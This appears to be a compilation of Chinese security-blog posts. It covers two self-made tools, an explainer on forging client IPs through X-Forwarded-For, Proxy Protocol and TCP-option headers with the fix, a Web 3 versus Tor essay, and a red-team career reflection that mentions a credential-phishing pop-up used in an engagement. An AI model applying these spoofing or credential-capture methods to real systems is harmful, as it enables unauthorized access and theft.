小黑屋对相关 combolists 数据集进行了分析，以下是我们对这批数据的分析结果：

阅读原文

跳转微信打开

推荐两款小工具

最近小黑屋质量严重下滑。为了挽救所剩无几的代码能力，小黑屋做了两款小工具，维持一下冰凉的手感。两款小工具均可免费使用，部分代码后续会开源出来。‍‍

工具一： Proxyverse

这是一款适用于 Chrome 和 Edge 浏览器的快速代理切换工具。熟悉 ‍‍‍‍‍‍‍‍Proxy SwitchyOmega 的朋友对这款插件应当不陌生。为什么在有 ‍‍Proxy SwitchyOmega 的情况下还要重复造轮子呢？ 主要原因还是 Chrome 会从 6 月份开始逐步下线对 Manifest V2 的支持，届时基于 Manifest V2 的插件将逐渐被淘汰，其中就包含 Proxy SwitchyOmega。与其用一些未开源的替代品，不如自己手撸一个，顺便开源出来，让大家用的放心。

目前该插件已经在 Chrome Webstore 和 Edge Add-ons 同步上线。使用 Edge 浏览器的朋友无需科学上网即可安装。

相关代码已于 Github 开源： https://github.com/bytevet/proxyverse‍‍

工具二： Byte.Vet HTTP Log

之前用了一些 HTTP Log 工具，总用的不太顺手，往往还需要注册。本着重复造轮子的原则，小黑屋上线了一个“字节兽医”小网页， 无需注册随时使用。

传送门： https://byte.vet

阅读原文

跳转微信打开

最近刚好看到一段视频，讲述关于 IP 伪造的内容。视频中并没有具体描述如何进行的 IP 伪造。借此机会，小黑屋来唠唠伪造 IP 的几种常见方式。

最近刚好看到一段视频，讲述关于 IP 伪造的内容。视频中并没有具体描述如何进行的 IP 伪造。借此机会，小黑屋来唠唠伪造 IP 的几种常见方式。‍‍‍‍‍‍‍

方式1: X-Forwarded-For

这个是最为认知的 IP 伪造方法，早年的 CTF 题目也经常涉及，然而现在知道的人太多， CTF 都不屑于出这类题目。 X-Forwarded-For 诞生的原因比较简单粗暴。 对于一个非常简单的网络模型， 一个网络请求通常只有两方，即请求方与被请求方，如下所示。这样的网络模型下， Web Server 是可以拿到 User 的真实 IP 地址的，即使拿到的可能是路由器的地址。‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍

User --> Web Server

但是上了规模的网站，其网络模型不会这么简单，它可能长这样：

User --> CDN --> Web Server

在这种场景下， CDN 依旧可以拿到 User 的真实 IP 地址，然而 Web Server 却无法直接拿到。 为了解决这个问题， 有人提出了 X-Forwarded-For， 它作为 HTTP Header 传递给后端的 Web Server，其格式如下：

X-Forwarded-For: <client>, <proxy1>, <proxy2>

假设 User 的真实 IP 地址是 1.0.0.1， CDN 节点的 IP 地址是 2.0.0.2，那么 CDN 会在 HTTP 请求头里附加下面的 Header，通知 Web Server 用户的真实 IP 地址。 Web Server 根据这个 Header 解析出 User 的 IP。

X-Forwarded-For: 1.0.0.1, 2.0.0.2

细心的朋友可能会发现， 我是不是可以直接将 1.0.0.1 改成任意 IP 地址，然后直接将请求发送给 Web Server？没错，这就是非常简单的 X-Forwarded-For IP 伪造攻击。一般这类问题的解决思路是，校验 4 层协议的来源 IP，判断是否为可信 IP，比如是否为 CDN 的 IP。如果可信，才会尝试解析 X-Fowarded-For Header。‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍

方式2: Proxy Protocol

眼尖的朋友可能已经注意到了，X-Forwarded-For 只支持 HTTP 协议，那么 TCP 或者其它 4 层协议怎么办？这时候 Proxy Protocol 应运而生了。它最早于 2010 年被提出，并首先运用于 HAProxy 。 由于 Proxy Protocol 解决了实际应用中的痛点，越来越多的开源软件（如 NGINX）， CDN 厂商（如 Cloudflare 和 Cloudfront 等）已经支持 Proxy Protocol 了。 ‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍

目前 Proxy Protocol 共有两个版本，分别为 v1 和 v2。‍‍‍

Proxy Protocol v1 协议非常简单易懂。由于本文只是介绍，不会写过多的技术细节，力求用最简单的言语让读者知道它是怎么工作的。我们假定网络模型如下所示：‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍

User --> Load Balancer --> TCP Server

V1 的原理说起来也非常简单， 当用户与 Load Balancer 的 4 层链接建立后（可能是 TCP ，也可能是 UDP）， Load Balancer 是知道用户的真实 IP 的。 Load Balancer 在和 TCP Server 建立 4 层链接后，不会直接透传用户的请求，而是提前发一个 Proxy Protocol V1 的 header。 这个 Header 具体长这样‍‍‍‍‍‍‍‍

PROXY TCP4 1.0.0.1 2.0.0.2 1001 2002\r\n

其中：

• PROXY 表示当前是一个4层代理请求

• TCP4 表示 User 使用 TCP v4 与 Load Balancer 建立的 4 层链路

• 1.0.0.1 为 User 的 IP， 2.0.0.2 为目标 IP

• 1001 为 User 的端口， 2002 为目标端口

当 V1 header 发送到 TCP Server 后， Load Balancer 才会开始透传 TCP 请求。而 TCP Server 需要做一些调整，解析完 Header 后，才开始进行业务逻辑。 幸运的是，目前许多 Server，包含 NGINX，已经支持了 V1 header 的解析，改改配置即可。‍‍‍‍‍‍‍‍‍‍‍‍‍

类似的， Proxy Protocol 也有 IP 伪造问题。攻击者是可以直接构造一个 V1 header， 直接发送给 TCP Server 的，造成 TCP 来源 IP 地址伪造问题。

Proxy Protocl V2 版本实际上是针对 V1 版本的升级优化。 V1 版本是一个纯文本协议，其最大的缺点是 Header 占用的字节太多了，比如上面的例子中就占用了 38 个字节。然而 Header 是给机器看的，又不是给人看的，可读性这么高有卵用？ 因此，V2 实际上是将 V1 升级成了一个二进制版本。它的构造相对来说没那么直观。以 IPv4 版本为例，其格式如下：‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍

 0                   1                   2                   3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+|                                                               |+                                                               +|                  Proxy Protocol v2 Signature                  |+                                                               +|                                                               |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+|Version|Command|   AF  | Proto.|         Address Length        |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+|                      IPv4 Source Address                      |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+|                    IPv4 Destination Address                   |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+|          Source Port          |        Destination Port       |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

V2 Header 在 IPv4 版本中， 只固定占用了 28 字节， 比 V1 版本少了约 10 字节（此处注意是“约”， v1 版本是变长的）。

Proxy Protocol V2 本质上只是变更了 Header 的编码方式，还是存在 IP 地址伪造问题。

方式3: TOA (TCP Option Address)

相比前两种协议，TOA 的知名度并没有那么高。 TOA 的原理是利用 TCP 协议中的一个未使用字段。 讲述原理之前，先回顾一下 TCP Header 的格式：

    0                   1                   2                   3       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   |          Source Port          |       Destination Port        |   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   |                        Sequence Number                        |   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   |                    Acknowledgment Number                      |   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   |  Data |           |U|A|P|R|S|F|                               |   | Offset| Reserved  |R|C|S|S|Y|I|            Window             |   |       |           |G|K|H|T|N|N|                               |   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   |           Checksum            |         Urgent Pointer        |   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   |                    Options                    |    Padding    |   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   |                             data                              |   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

可以看到， TCP Header 中是有一个叫 Options 的 Segment 的。 TOA 正是利用这个 Options 。Load Balancer 在接收到用户的请求后，会将用户的 IP 信息塞到 Options 里，其格式如下：

struct toa_data {  __u8 opcode;  __u8 opsize;  __u16 port;  __u32 ip;};

TOA 最大的优势在于，其并没有变更协议，不会有兼容性问题。比如 TCP Server 如果不支持 TOA 协议，它依旧可以正常工作，只是获取不到真实的用户 IP 信息。

TOA 也好， Proxy Protocol 也罢，他们的本质都是 Load Balancer 主动将用户 IP 信息传递给 TCP Server。因此， TOA 协议也是有 IP 伪造问题的。在和 TCP Server 建立连接的阶段，我们可以将伪造的 IP 地址塞到 Options 里。‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍

写在最后

以上就是小黑屋总结的 IP 伪造技术。真实世界上，伪造来源 IP 的技术肯定不止这些， 小黑屋只是抛砖引玉。‍‍‍‍‍‍‍

另外这类 IP 伪造问题的根因都是相似的，即后端服务无条件地信任了别人传递过来的 IP 信息。 解决方式说起来也简单，即判断上一条 IP 是否是可信的，如果不在可信名单里，则停止解析这些 IP 信息。具体做法可阅读 Gin 框架的代码。

阅读原文

跳转微信打开

最近小黑屋有个大佬写了篇硬核安全技术文章。不过由于内容比较敏感，没敢发出来。 刚好小黑屋好久没更新了，就找了篇去年写的文章，滥竽充数。 内容嘛，主要还是针对 Web 3 的

最近小黑屋有个大佬写了篇硬核安全技术文章。不过由于内容比较敏感，没敢发出来。 刚好小黑屋好久没更新了，就找了篇去年写的文章，滥竽充数。 内容嘛，主要还是针对 Web 3 的。先前没敢发，这不最近大家都抢着跟进 ChatGPT 的风口吗，这个时间节点喷喷 Web 3 应该反弹没那么大。

0x00 前言

最近 Web 3 概念炒的火热，即使不想关注，票圈里依旧有许多人在潜移默化地让你关注。上一次这么火爆的概念还是元宇宙。

鄙人不成熟的认知告诉我，一旦一个东西开始大火，火到连菜场大妈都知道的时候，那么这个东西往往没有太大的关注的价值了。毕竟有趣好玩的东西往往掌握在少数人手里。

为了验证我不成熟的认知，我决定花一个小时的时间好好研究一下 Web 3。

0x01 什么是 Web 3

Web3（也被称为Web 3.0，又写为web3）是关于万维网发展的一个概念，主要与基于区块链的去中心化、加密货币以及非同质化代币有关。 – Wikipedia

看起来 Web 3 的定义十分美好，去中心化。然而我注意到，

与区块链有关的web3概念是由以太坊联合创始人Gavin Wood于2014年提出 – Wikipedia

读到这一信息的时候，瞬间就将没了继续研究下去的动力。

几经纠结后，还是决定将 Web 3 关键的亮点看完。关于 Web 3 的关键优势，各个网站有略微不同的说法，比如 Wikipedia 上，认为 Web 3 的优势在于：

1. 将互联网转化为数据库

2. 向人工智能进化的道路

3. 语义网和SOA的实现

4. 向3D进化

5. 等等

鄙人以为，除了第1点，其它优势纯属扯淡。毕竟除了第1点以外，其它优势 Web 2.0 也能实现。

至此， Web 3 的关键亮点可总结为 对等 与 去中心化，以及因此带来的自由（无监管）。

研究到这里，一些人可能已经发现了，Tor、Freenet、I2P 等不都具备上述关键亮点吗？

要是硬是要说出点区别，也是有的：

• Web 3

• 基于区块链

• Tor、Freenet、I2P

• 比 Web 3 省资源 （毕竟不需要挖矿，也不需要大量存储区块数据）

• 比 Web 3 多了匿名特性（也有人认为区块链也是匿名的，这里不争论，你认为是匿名的就是匿名的）

这么一比，Tor、Freenet、I2P 反倒比 Web 3 还好？

0x02 什么是 Tor

上文中提到 Tor、Freenet、I2P 也是去中心化、对等的网络体系。三者的实现思路大同小异，都是通过一些特殊设计实现匿名对等网络。本文挑选最广为人知的 Tor 作为介绍对象。

Tor 是上世纪 90 年代提出的对等、无监管网络。是的，20世纪90年代提出，而且在 2002 年发布测试版本，至今少说也有二十几年历史，然而没有流行起来。Web 3 反倒火起来了。

Tor 到底是如何工作？比较细节的工作原理可参考官网。 此处力求用最简短的语言让读者大概了解 Tor。

首先看普通用户如何匿名访问一个服务。

假设 Alice 是普通用户，希望访问另外一个用户 Bob 发布的服务，她会从 Tor 网络中随机挑选几个节点，然后通过这些随机节点建立一条隧道，连接到 Bob 发布的服务中。

这个过程中，由于这条隧道的节点数量是随机的，第 n 个节点只知道请求来自第 n-1 个节点，使得所有节点都不知道 Alice 的身份。此外，请求数据是使用 Bob 的公钥加密的，这些节点也不知道 Alice 请求了什么数据。

眼尖的朋友可能会问， Alice 的身份是保密了，那么 Bob 的身份不是暴露了吗？ 实际上 Bob 在发布服务的时候，也是随机挑选了几条路径发布的服务， 这里暴露的是 Bob 挑选出来的几条路径的入口，Bob 本身没有暴露。

其次再来看看 Tor 如何实现对等。

在上面的例子中，提到三种角色，分别为 Alice、Bob 和 中继节点。 实际上，每个人都可以同时扮演这三种角色。默认情况下， Alice 同时也是别人的中继节点。 类似的， Alice 也可以对外发布服务。因此， Tor 网络中的节点是对等的。

0x03 去中心化网络有什么缺点

首先得明确一点，100% 去中心化的网络是不存在的。所有去中心化网络，在刚开始加入的时候，是需要一个类中心化的服务器帮忙查询其它节点的信息的，比如 Tor 中的目录服务器和 P2P 网络中的 Tracker 。 当然，一旦加入去中心化的网络成功，并成为这个网络中的一个节点，就可以真正实现去中心化了。

其次，所有去中心化网络，都会面临性能上的问题。在中心化的网络环境下，你访问一个服务，网络会使用最短路径去访问目标服务。这些中间路由节点往往带宽都比较高，速度也比较快。（当然，有墙的情况另说）。

然而在去中心化的网络环境下，情况就不一样了，用户本身就是节点，你还能指望用户这些节点的带宽能有多高？如果有匿名化需求，基本不会挑选最短路径建立链接。如果是访问静态资源还好，可以使用类似于 P2P 这种技术加速，但是动态服务的带宽严重受限于你路经的其它对等节点。

翻译一下就是，去中心化网络下，你看个 4K 电影还行（静态资源），但是开视频会议近几年就别想了（动态服务）。

最后，去中心化网络相当于没有监管，最终很有可能滋生犯罪。 Tor 就是一个最好的例子，地下市场比比皆是。

0x04 小结

研究了一圈，依旧没能明白 Web 3 为什么会大火。 Web 3 相比 Tor 基本没有优势，难道一旦和 区块链 挂上关系，就自带吸金体质？

望高人指点一二。

阅读原文

跳转微信打开

​

阅读原文

跳转微信打开

我的三年红队生涯总结在公司的某天有幸帮助公司的一级部门去给某学院的学生分享了一堂课，主要是关于自学安全的话题

我的三年红队生涯总结

在公司的某天有幸帮助公司的一级部门去给某学院的学生分享了一堂课，主要是关于自学安全的话题。开始的时候分享了我的一些学习经历，我发现总结不出来如何培养自己的自学能力，因为第一个大前提：我做的是我热爱的事情，在年龄很小的时候就找到了自己喜欢的事情，为此愿意花大量的时间去探索技术，不断的学习。从大部分普通应届生的角度来看找工作这件事，他们的选择往往很少，找到一个相对好的工作取决于自身在后天的积累是否能与社会某个职业的需要挂钩，但好像大多数学校的学生反馈的是专业知识都与职场应用有一定偏差，这就导致就业难，人生第一大门槛：“我该去往何方？”我对兴趣的理解是：“兴趣是人生不可或缺的调味剂，一定程度能够影响半生的幸福。”一个好的兴趣是针对事物抱有无尽求知欲的，并且具备隐性的持续性，在探索的过程中、过程后，一定是情绪高涨，快乐的。我很庆幸，在年纪很小的时候拥有了兴趣，在不断探索求知的过程中，我不断收获成就感，洗涤内心的卑微，使得一个少年变得逐渐强大。兴趣让我有了更多的选择，我的兴趣不只是安全领域，更深层次的总结可以说是对计算机网络相关的东西都感兴趣，它能使我化身成为程序员、网络工程师、产品经理、渗透测试人员等等。有许多次我都感慨，这是一个幸福的时代。以上摘自：我的博客文章-《这是一个充满挑战的好时代》

接触网络安全行业已经有9年的时间，准确说计算机网络相关的技术是9年时间，起初在2013、2014年的时候并没有想过自己所学的技术或本领能发展成一个有体系的工作。在这个过程中，我的职业之路已经有5个年头，不论是在工作的时候或在上学的时候，都有经常做技术分享（文字、演讲）形式的输出，技术不断再提升、认知在不断扩展、学习的方法论在慢慢形成。随着时间的推移自己的年龄也在增长，对于兴趣这个词的认识也越来越深刻。我认为兴趣始终是一个自我驱动力的一个重要来源，从好奇某个技术到了解认识再到掌握，整个过程需要源源不断的坚持和自我激励。不知道是在哪一年，我在网上读到一句话我很喜欢，于是把它当作个性签名用到了现在，内容是这样：“执着于理想，纯粹于当下。”国内的红队职业人群最早大部分是从掌握渗透测试技术的人员转型的一个发展通道，红队对于这些人群去做红队来说既能保持自己对技术的兴趣还能时常通过自己的知识成果获得大量正反馈，让自己无限接近一个真正意义上的“黑客”。我想很多人都有一个黑客梦，这条路是一个甘愿承受寂寞，能十年磨一剑的理想之路。互联网人往往都是喜欢求变的，对比社会上所有的行业，我们这帮人走的捷径太多了、知道捷径的机会也太多了，所以更害怕自己走错路、走弯路。当自己使用技术解决了很多问题以后，这种思维惯性就越来越明显，网络安全行业经过这几年的迅速发展，我们都是获利者，总认为还有一个最优解自己还没有找到。近几年接触管理工作以后，经常遇到兴趣和工作不能两全的境地，而兴趣又好像变成了一个奢侈品，在长大的这几年，忽然发现时间和精力、现实生活都需要得到平衡，总在工作和生活中的需要与被需要之间平衡。在这种平衡之间，我愈发觉得兴趣不能消失，在这三年的阶段里我的兴趣和红队工作是一种双螺旋结构的相互依存且稳定的关系，自己对热爱的执着也不能放下，它都是我人生中宝贵的奢侈品，兴趣我可以坚持追求一辈子，即便是追求或享受兴趣的形式改变了依旧要坚持下去。

红队是一个特殊的团队，做攻击和做防御到底哪个难？

我对于红队的认识概括：红队是一群道德黑客组成的团体，主要目的是为了仿真网络空间中的攻击者所使用的技术来发现组织的安全问题。我工作中接触的很多朋友、客户、同事对于红队都不太了解，或者说与我认识的红队有一些差异，这里我想通过我三年建设红队和做红队的角度进行一个诠释。

为什么我说红队是一个特殊的团队，其实主要在于工作方式，而工作方式又受到环境因素的影响，宏观上近五年内由于行业对于网络安全人才的缺口激增、社会数字化转型加速，其实到今天红队体系建设还是在萌芽期，网络安全行业也是还在一个初步发展期。通过实战攻防演练的形式推动安全建设工作是起到了明显作用，这也意味着红队面临的挑战除了攻防演练的数量增加还有就是自身的能力要兼容不同安全建设水平的场景还要发挥明显作用。

微观上在这个环境因素下导致很多红队会怀疑自己是否还能继续做红队，其次就是发现自己所掌握的知识点面对工作的需求宛如冰山一角，因为大多数人都适应不了这个节奏，于是有人开始退出红队战场转型做防御生态相关的工作。除了精神上的考验还有体力上的考验，红队也像互联网行业一样有中年危机，面对防御水平高的目标时经常会深夜打闪电战，钻研技术时也都喜欢熬夜写代码等等，是因为晚上夜深人静，内心归于平静，大脑活动活跃，创作冲动或创造能力更加敏锐，年龄大一些的身体上可能就吃不消了。

还有性格方面，大多数红队性格都比较不善表达，大白话说就是容易一根筋，但这群人最难管理也最简单。之前在公司有人问我，你们红队到底谁技术最厉害？我回答：红队没有最厉害的，只有最适合的。没有哪个黑客可以达到全能，仅仅是能接近于全能，就像光速和“最快”还是有很大差距的，而这个差距是未知的，每个人都有擅长的领域，要看解决问题的场景而定。

再说回做攻击和做防御到底哪个难，我是觉得做攻击和做防御都难，这句好像是一句废话文学。我没有在甲方工作过，这里就写一写我在乙方红队工作中对于这个问题的一些感受。在实战攻防演练中，这两年0day漏洞攻击和社工/钓鱼的手段使用的越来越多，一方面是因为客户的安全建设开始有投入，暴露面得到收拢，不容易发现进入内网的漏洞，另外一方面是很多时候客户的需求会限定一些攻击手段或者限定攻击的范围。这里我还是搬出我对红队的理解，红队主要目的是为了仿真网络空间中的攻击者所使用的技术来发现组织的安全问题，那么在这些限定的条件下（时间、范围、攻击手段），必然不能仿真全部技术，所以项目的结果无法达到客户的预期，红队也很难出成果。在限定条件下想要获得全面的结果是不现实的，这是一个认知冲突。其实生活中的矛盾也都像这个问题一样有互通性。这里也抛出一个问题来解释，为什么很多红队宁更愿意做内网渗透？因为现在很多甲方的终端和内网的安全建设水平做的还不如边界资产的安全，红队可以发现很多安全问题、仿真许多攻击技术，得到更多的正反馈。

做红队的好处有哪些？

做红队的好处其实有很多，由于环境因素，我仅是通过互联网了解国内的红队和国外的红队有一些差异，国外的红队可能更聚焦于企业安全视角的对抗，国内的红队既聚焦于实战演练又聚焦于企业红队。大量的红队选手既要进行攻防演练赛事的支撑，还要做企业红队，在我看来各有各的好处，攻防演练能将红队技术的运用更加发散，可以接触不同防御水平的场景，在发现安全问题的同时对红队的技术能力得到全面锻炼，而且还有监管单位背书。在做企业红队的时候节奏就不像攻防演练那样需要短时间内出成果，PK的火药味没有那么浓烈，反而遇到的有趣问题比较多。

记得某次在客户现场做企业红队的时候，运用到了一个通过任务计划下发程序，弹出诱导用户输入明文凭据然后将凭据回传，而这个程序没有现成的，就临时写了一个MFC窗口。这种场景运用到的技术在需要快速出成果的监管部门举办的攻防演练中一般不会用到，主要是时间比较紧凑，红队人员精力有限，不会在一个目标上花费太多精力。

总体来看，红队可以接触许多场景，能力可以发散成长，可以工作中找到自己感兴趣的方向。除了实战锻炼，红队还需要研究各种BYPASS技巧，使得技术手段可以绕过防御的检测和拦截，这对于掌握安全研究技能是一个很好的切入点。在2021年的总结我写道：“做安全研究工作非常需要知识的提炼能力，这一点至关重要，如今的计算机高速发展、硬件软件架构依赖性错综复杂，要解决问题需要在研究的过程中过滤很多的重点知识，比较考验计算机网络的基础知识，能做好基础知识的归纳总结，并且还能够做好布道者这一角色，尤为重要。大部分非科班出身且没有接受完整应试教育的人，都不会去搞枯燥的研究，宁愿做一个一直以经验增长为核心能力的人。说了那么多，其实我想表达的是要时刻对自己的工作有要求、有目标，对于团队的成员，我鼓励每一个人去做自我驱动的事情，热情也好、兴趣也好、爱好也好，这便是一种幸福。有时候我会思考做安全研究到底需不需要天赋，用什么标准衡量有天赋还是没天赋？研究这个问题前，我认为应该先给安全研究做一个鲜明的定义。首先，研究工作的成果影响力是巨大的，影响力又同样取决于研究问题的微观程度，这个微观程度的小指的是我们人类对研究对象认知的深度。例如宇宙的形成、万有引力、生物遗传等等，而计算机要解决的问题是如何更高效的计算，安全研究仅是从多个维度上（人、资产、流程）上发现安全问题、快速发现安全问题、解决安全问题、快速解决安全问题、根除安全问题。红队安全研究，大部分仅涉及发现安全问题、快速发现安全问题。因此，安全研究的定义随之而来，为了发现或解决安全问题而去做的研究工作。那么，搞安全研究真的需要天赋么？我觉得天赋其实不太重要，从人类基数上来看天才是永远占少数的，尽管很多人都想着自己能成为天才、或者他自己本身就是天才，我想我最大可能（100%）就是最平凡的大多数，这个问题就不那么重要了（逻辑鬼才）。“

关于BYPASS的安全研究和漏洞挖掘工作都需要一个真实的环境，红队会使用很多虚拟化软件承载自己的实验平台，但无法直接模拟整个企业的防御环境进行对抗，尤其是网络流量的防御能力不能很好的模拟，所以大多数红队都会关注终端安全方向。在研究或者挖掘漏洞的过程中，红队会需要编程技能辅助自己进行自动化以提升效率，大部分红队都会掌握一门或多门短平快的脚本语言、编译型语言。这些杂项技能让红队看起来是全能型的，也会营造出一个全能黑客的假象。在红队工作中不断的解决问题，会让自己形成主动学习、主动研究的习惯，这种习惯是后天磨砺出来的，终身受用。

红队的价值是什么？

这里要展开说两方面，一方面是针对红队雇主内部的价值，一方面是客户的价值。

对雇主内部的价值，主要能够体现在帮助企业获得影响力、发现的诸多安全问题来促进商机、产品能力提升、直接业绩。在我经历的三年红队生涯中，红队产生的直接业绩是微乎其微的，反而走影响力的这个路线走的很好。影响力、品牌、商机，这些都是隐性价值，其他人（大部分业绩部门）无法直观感受到红队的重要性，红队不参与商务的大部分流程，所以红队对数字的敏感度不如业务属性部门。如果直接考核红队的直接业绩，那么影响力的效果可能不会那么理想。

再说道产品能力提升，很多厂商的产品部门多少都会遇到自己的产品无法发挥拳头作用，缺少有经验的人参与实战打磨，这个时候就需要红队将自己所掌握的技术赋能到产品，提升产品的能力和防护策略的有效性。经历了这两年的疫情对经济的打击，安全行业市场发展走低，但红队人员的成本是在持续走高的，这时候一个冲突结点随之出现……

红队对客户的价值，红队可以仿真网络空间中的攻击者所使用的技术来发现客户的安全问题，对于有想对企业整体安全评估需求的客户，可以选择红队进行服务。这里整体指的是最大范围的整体，凡是可以影响到安全问题的所有实体，包括但不限于：系统、网络、人员、流程制度等等。

最初我在设计评估方案的时候，理想的评估周期是半个月或一个月，后来攻防演练的频繁出镜，客户更容易接受多家PK竞争的模式，这种模式利好买家，评估周期就会变成一周或者最长一周半，假设还是金融行业的银行客户，这对于红队想要发现严重级别的安全问题要求就更高了。

我的红队三年生涯

任何一份工作都是阶段性的，这五年的工作经历中，面对不同的同事都有聊到过一个话题：“你的三年/五年规划是什么？”第一份和第二份工作我对三年五载的规划都没有太明显的感受，起初我毫无方向，就像天空中漂浮的蒲公英，随风而去、随遇而安的样子，在飘荡的日子里也曾做过很多冲动的抉择，为什么我要用冲动这个词，冲动代表了是过去的自己做出了在那个时段正确的决定。在毫无方向的时候，冲动不是一个坏处，反而要犯错改错才能成长。倘若是经常否定自己做错了、选错了，那好像也很难再进步。

人生都有一个核心的问题：“我从哪里来，我要到哪里去。”我理解这句话的意思应该是我为何来到世间，我要到世间哪个地方去。工作了第5个年头我终于理解三年五载的规划代表了什么含义，是想让自己能有一个清晰的目标去奋斗、去改变，即便是自己的认知每天都在提升，也要做一做规划，写一写想法。时至今日，我认为当初决定做红队的选择依然正确。

2019的部分总结：我非常热爱技术，什么都想会一点，至今为止都觉得全能高手是存在的，也不会浮躁，只优先选择自己热爱的，这点是有些固执的，时常沉浸其中、乐在其中，做技术带给我的反馈有很多，它不断的印证一就是一，不管如何都不会变成二。其次，不断印证类似于成功学中的大道理，努力就有收获之类的话题。技术是我的爱好，而我的工作建设在爱好之上，这对于许多人来说是多么幸福的一件事啊。但有一天我开始怀疑，因为我从一个前辈身上感受到，他除了有和我相同类似的工作的同时，还拥有一个更热爱的爱好，我觉得这是对幸福的一种加持。我开始觉得工作与爱好的融合会让爱好变得浑浊，不那么纯粹。工作是有棱角的，而爱好是没有棱角的。这样的情况普遍也很多，这倒也还算过得去。

2020年的部分总结：从2020年X月起初到2020年X月份，实验室成员目前达到X人，现有工作需求的技术都慢慢开始饱和。从年初刚开始的X人发展到X人，期间遇到项目上、管理上的许多问题，问题的最初在我自身，在明确方向的工作上和需要执行的工作上没有平衡，欠缺思考的时间。通过逐步的现象总结，能够解决一部分问题，强调了关于部门价值观、绩效考核、工作效率等等问题，但这种方式不能够持续解决已经遇到过的问题，于是开始落地标准化来形成管理工具，我发现我的日常思考的结果是存在某些管理框架内的，是有特定的方法的，这对于我自身是很大的提升。

个人技能：从去年到现在一直在推荐落地Demo这块工作，我发现内部已经形成感染力，对于一些研究、实战的需求有了更多的思考。从技术成长的角度来看，需要发展成为“T”字型人才，这样才能应对更多的考验，自身擅长的方向有一定沉淀，以“专精之余而触类旁通”来规划自己一个阶段的学习方向，管理好精力与时间是我有待练习和加强的。

2021年的部分总结：每一个企业都有战略资源部门，我理解的战略资源部门是这个部门的能力具备稀缺性的，复制需要巨大成本，如果利用得当，会产生巨大增益，反之当战略资源投入的衡量方式有问题就会产生战略资源部门管理上的压力，我所处于的就是一个战略资源部门，我长期以来遇到最大的问题就是关于战略价值的衡量，哪种类型的项目需要投入多少资源可能是项目管理上屡见不鲜的问题，对于PM来说，解决这种问题一定是有现成的公式或者工具，但作为一个Leader，考虑的因素就要多很多了，尤其是团队平均年龄比较年轻的，要为大家争取最大的利益，而且这种利益还可能是一种不可见的长远利益，你不能奢求大多数人可以理解，多数的牺牲是看不见的。我解决这个问题的办法是不断的跨部门沟通，项目分级定义，投入产出对赌，跨部门的效果达到预期以后，我的成就感油然而生，即使在解决的过程中因为自己并不擅长，多次想过要逃避、斗争，但都坚持了下来，因为比起自己看不起自己，更怕的是无法回应太多人的期待。解决完成后，我就开始思考如何让团队的定位和目标更明确，让大家做的事儿更有边界，更贴合自身预期。于是在近年末的期间，让大家开始定制规划2022年的目标，将更多的力量投入到中台建设工作上来，这可能是对大家也是一个不小的挑战，尤其在思维上、技术上，相信大家一定可以。

这里简单晒一下我在今年离职前做职级晋升准备上报的近两年重点工作成果（日常交付项目除外）：

一、业绩成果：

1. 2021年大型攻防演练现场牵头，作为现场队长将传递有效信息到后端，现场编写技战法与报告整理，且代表公司获得HW BP讲师称号及证书

2. 2022年大型攻防演练总牵头，前期预算申报、人员分组、方案制定、质量把控，带领团队拉通各部门进行红队工作

二、机制建设：

1. 业绩承诺机制管理规定发布，明确了XX中心与XX中心内部，在红队资源申请及业绩承诺机制之间的基本原则，用于规范红队支撑，最大限度优化、聚焦红队资源，使之发挥最优的价值。指导红队支撑工作中产生的各类费用核算方法，XX中心、XX中心、XX部、XX部应按照本规定落实相关的核算工作，并逐步推进财务核算精细化管理。

2. 持续推进红队中台能力建设，XX实验室红队平台的功能评审、需求反馈、漏洞和工具与XX实验室KPI绑定，辅助XX实验室持续迭代平台，至今已初步发挥价值，有用户且有业绩

3. 公司红队梯队建设，在X总的建议下，与其他同事制定了XX中心红队的梯队建设模式、红队激励覆盖范围等机制

